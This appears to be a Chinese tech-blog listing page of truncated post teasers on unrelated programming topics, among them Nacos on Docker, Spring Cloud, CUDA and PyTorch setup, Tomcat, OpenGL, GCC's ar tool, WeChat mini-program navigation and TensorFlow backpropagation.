周报汇总地址&#xff1a;嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 视频版&#xff1a; 《安富莱嵌入式周报》第349期&#xff1a;VSCode正式支持Matlab调试&#xff0c;DIY录音室级麦克风…

nacos(基于docker最详细安装)

1、什么是Spring Cloud Spring Cloud是一系列框架的集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发&#xff0c;如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等&#xff0c;都可以用Spring Boot的开发风格做到一键启动和部署。…

李沐vscode配置+github管理+FFmpeg视频搬运+百度API添加翻译字幕

终端输入nvidia-smi查看cuda版本 我的是12.5&#xff0c;在网上没有找到12.5的torch&#xff0c;就安装12.1的。torch&#xff0c;torchvision&#xff0c;torchaudio版本以及python版本要对应 参考&#xff1a;https://blog.csdn.net/FengHanI/article/details/135116114 创…

Java Web-Tomcat Servlet

Web服务器-Tomcat Web服务器简介 Web 服务器是一种软件程序&#xff0c;它主要用于在网络上接收和处理客户端&#xff08;如浏览器&#xff09;发送的 HTTP 请求&#xff0c;并返回相应的网页内容或数据。以下是关于 Web 服务器的详细介绍&#xff1a; 功能 接收请求&#…

An OpenGL Toolbox

3.An OpenGL Toolbox 声明&#xff1a;该代码来自&#xff1a;Computer Graphics Through OpenGL From Theory to Experiments&#xff0c;仅用作学习参考 3.1 Vertex Arrays and Their Drawing Commands 顶点数组及其绘制命令&#xff1a;将几何数据存储在一个位置&#xff0c…

GCC之编译(8)AR打包命令

GCC之(8)AR二进制打包命令 Author: Once Day Date: 2025年1月23日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 全系列文章请查看专栏: Linux实践记录_Once-Day的博客-C…

【miniconda】:langraph的windows构建

langraph需要python3.11 langraph强烈建议使用py3.11 默认是3.12 官方 下载仓库 下载老版本的python (后续发现新版miniconda也能安装老版本的python) 在这里

微信小程序中常见的 跳转方式 及其特点的表格总结(wx.navigateTo 适合需要返回上一页的场景)

文章目录 详细说明总结wx.navigateTo 的特点为什么 wx.navigateTo 最常用&#xff1f;其他跳转方式的使用频率总结 以下是微信小程序中常见的跳转方式及其特点的表格总结&#xff1a; 跳转方式API 方法特点适用场景wx.navigateTowx.navigateTo({ url: 路径 })保留当前页面&…

python3+TensorFlow 2.x(四)反向传播

目录 反向传播算法 反向传播算法基本步骤&#xff1a; 反向中的参数变化 总结 反向传播算法 反向传播算法&#xff08;Backpropagation&#xff09;是训练人工神经网络时使用的一个重要算法&#xff0c;它是通过计算梯度并优化神经网络的权重来最小化误差。反向传播算法的核…